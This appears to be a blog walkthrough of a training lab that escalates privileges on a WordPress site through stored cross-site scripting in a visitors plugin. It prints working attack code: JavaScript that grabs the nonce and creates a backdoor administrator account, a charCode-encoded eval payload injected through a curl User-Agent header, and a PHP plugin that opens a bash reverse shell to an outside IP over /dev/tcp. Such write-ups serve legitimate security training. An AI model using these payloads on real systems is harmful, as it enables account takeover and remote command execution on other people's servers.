Privilege Escalation via XSS in wordpress website
Capstone Lab: Start Module Exercise VM 1 and add a new administrative account like we did in this Learning Unit. Next, craft a WordPress…
Privilege Escalation via XSS in wordpress website
Capstone Lab: Start Module Exercise VM 1 and add a new administrative account like we did in this Learning Unit. Next, craft a WordPress plugin that embeds a web shell and exploit it to enumerate the target system.
Upgrade the web shell to a full reverse shell and obtain the flag located in /tmp/. Note: The WordPress instance might show slow responsiveness due to lack of internet connectivity, which is expected.
In our case, by including and checking the pseudo-random nonce, WordPress prevents this kind of attack, since an attacker could not have prior knowledge of the token. However, as we’ll soon explain, the nonce won’t be an obstacle for the stored XSS vulnerability we discovered in the plugin.
- Update the host file
Sudo vi /etc/hosts
- With burp suite, Load the website http://offsecwp
- Use below listing A & B together in JS compress to compress it.
As mentioned, to perform any administrative action, we need to first gather the nonce. We can accomplish this using the following JavaScript function:
A. Gathering WordPress Nonce
var ajaxRequest = new XMLHttpRequest(); var requestURL = “/wp-admin/user-new.php”; var nonceRegex = */ser” value=”([^”]?)”/g;** ajaxRequest.open(“GET”, requestURL, false); ajaxRequest.send(); var nonceMatch = nonceRegex.exec(ajaxRequest.responseText); var nonce = nonceMatch[1];
This function performs a new HTTP request towards the /wp-admin/user-new.php URL and saves the nonce value found in the HTTP response based on the regular expression. The regex pattern matches any alphanumeric value contained between the string /ser” value=” and double quotes.
Now that we’ve dynamically retrieved the nonce, we can craft the main function responsible for creating the new admin user.
B. Creating a New WordPress Administrator Account
var params = “action=createuser&_wpnonce_create-user=”+nonce+”&user_login=attacker&email=attacker@offsec.com&pass1=attackerpass&pass2=attackerpass&role=administrator”; ajaxRequest = new XMLHttpRequest(); ajaxRequest.open(“POST”, requestURL, true); ajaxRequest.setRequestHeader(“Content-Type”, “application/x-www-form-urlencoded”); ajaxRequest.send(params);
Highlighted in this function is the new backdoored admin account, just after the nonce we obtained previously. If our attack succeeds, we’ll be able to gain administrative access to the entire WordPress installation.
To ensure that our JavaScript payload will be handled correctly by Burp and the target application, we need to first minify it, then encode it.
To minify our attack code into a one-liner, we can navigate to *JS Compress*.

After clicking Compress JavaScript, we’ll copy and locally save the minified output.
As a final step, we’ll encode the minified JavaScript code, so any bad characters won’t interfere with sending the payload.
- Go to the browser console do the JS encoding JS function
C. JS Encoding JS Function
function encode_to_javascript(string) { var input = string var output = ‘’; for(pos = 0; pos < input.length; pos++) { output += input.charCodeAt(pos); if(pos != (input.length — 1)) { output += “,”; } } return output; }
let encoded = encode_to_javascript(‘insert_minified_javascript’) console.log(encoded)
The encode_to_javascript function will parse the minified JS string parameter and convert each character into the corresponding UTF-16 integer code using the *charCodeAt* method.
Let’s run the function from the browser’s console.

We are going to decode and execute the encoded string by first decoding the string with the *fromCharCode method, then running it via the [eval()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval)* method. Once we have copied the encoded string, we can insert it with the following curl command and launch the attack:
curl -i http://offsecwp — user-agent “<script>eval(String.fromCharCode(118,97,114,32,97,106,97,120,82,101,113,117,101,115,116,61,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,44,114,101,113,117,101,115,116,85,82,76,61,34,47,119,112,45,97,100,109,105,110,47,117,115,101,114,45,110,101,119,46,112,104,112,34,44,110,111,110,99,101,82,101,103,101,120,61,47,115,101,114,34,32,118,97,108,117,101,61,34,40,91,94,34,93,42,63,41,34,47,103,59,97,106,97,120,82,101,113,117,101,115,116,46,111,112,101,110,40,34,71,69,84,34,44,114,101,113,117,101,115,116,85,82,76,44,33,49,41,44,97,106,97,120,82,101,113,117,101,115,116,46,115,101,110,100,40,41,59,118,97,114,32,110,111,110,99,101,77,97,116,99,104,61,110,111,110,99,101,82,101,103,101,120,46,101,120,101,99,40,97,106,97,120,82,101,113,117,101,115,116,46,114,101,115,112,111,110,115,101,84,101,120,116,41,44,110,111,110,99,101,61,110,111,110,99,101,77,97,116,99,104,91,49,93,44,112,97,114,97,109,115,61,34,97,99,116,105,111,110,61,99,114,101,97,116,101,117,115,101,114,38,95,119,112,110,111,110,99,101,95,99,114,101,97,116,101,45,117,115,101,114,61,34,43,110,111,110,99,101,43,34,38,117,115,101,114,95,108,111,103,105,110,61,97,116,116,97,99,107,101,114,38,101,109,97,105,108,61,97,116,116,97,99,107,101,114,64,111,102,102,115,101,99,46,99,111,109,38,112,97,115,115,49,61,97,116,116,97,99,107,101,114,112,97,115,115,38,112,97,115,115,50,61,97,116,116,97,99,107,101,114,112,97,115,115,38,114,111,108,101,61,97,100,109,105,110,105,115,116,114,97,116,111,114,34,59,40,97,106,97,120,82,101,113,117,101,115,116,61,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,41,46,111,112,101,110,40,34,80,79,83,84,34,44,114,101,113,117,101,115,116,85,82,76,44,33,48,41,44,97,106,97,120,82,101,113,117,101,115,116,46,115,101,116,82,101,113,117,101,115,116,72,101,97,100,101,114,40,34,67,111,110,116,101,110,116,45,84,121,112,101,34,44,34,97,112,112,108,105,99,97,116,105,111,110,47,120,45,119,119,119,45,102,111,114,109,45,117,114,108,101,110,99,111,100,101,100,34,41,44,97,106,97,120,82,101,113,117,101,115,116,46,115,101,110,100,40,112,97,114,97,109,115,41,59))</script>” — proxy 127.0.0.1:8080
Before running the curl attack command, let’s start Burp and leave Intercept on.
We instructed curl to send a specially-crafted HTTP request with a User-Agent header containing our malicious payload, then forward it to our Burp instance so we can inspect it further.
After running the curl command, we can inspect the request in Burp.

Everything seems correct, so let’s forward the request by clicking Forward, then disabling Intercept.
At this point, our XSS exploit should have been stored in the WordPress database. We only need to simulate execution by logging in to the OffSec WP instance(http://offsecwp/wp-admin) as admin, then clicking on the Visitors plugin dashboard on the bottom left.

We notice that only one entry is present, and apparently no User-Agent has been recorded. This is because the User-Agent field contained our attack embedded into “<script>” tags, so the browser cannot render any string from it.
By loading the plugin statistics, we should have executed the malicious script, so let’s verify if our attack succeeded by clicking on the Users menu on the left pane.

Excellent! This XSS flaw allowed us to escalate privileges from a standard user to an administrator by leveraging a crafted HTTP request.
We could now advance our attack and gain access to the underlying host by crafting a custom WordPress plugin with an embedded web shell. We’ll cover web shells more in-depth in another Module.
The next task is get a reverse shell, but at first lets create a php reverse shell and zip it. So that we can upload the zip to wordpress admin portal.
<?php
/**
* Plugin Name: Wordpress Reverse Shell
* Author: Utpal Swain
*/
exec(“/bin/bash -c ‘bash -i >& /dev/tcp/10.13.69.50/8080 0>&1’”)
?>

We need to zip with below command: zip revshell.zip revshell.php
After zipping, need to upload it in wordpress plugin.

Before you activate the plugin make sure to run the netcat listener.
As soon as you activate the plugin, it will establish a reverse connection, creating a Netcat session.

____THE END___
메타데이터
- post_id
- bb2c11b147b1
- slug
- privilege-escalation-via-xss-in-wordpress-website-bb2c11b147b1
- url
- https://medium.com/@1secmonk/privilege-escalation-via-xss-in-wordpress-website-bb2c11b147b1
- canonical_url
- https://medium.com/@1secmonk/privilege-escalation-via-xss-in-wordpress-website-bb2c11b147b1
- author_url
- https://medium.com/@1secmonk
- status
- ok
- fetched_at
- 2026-08-31 20:56:41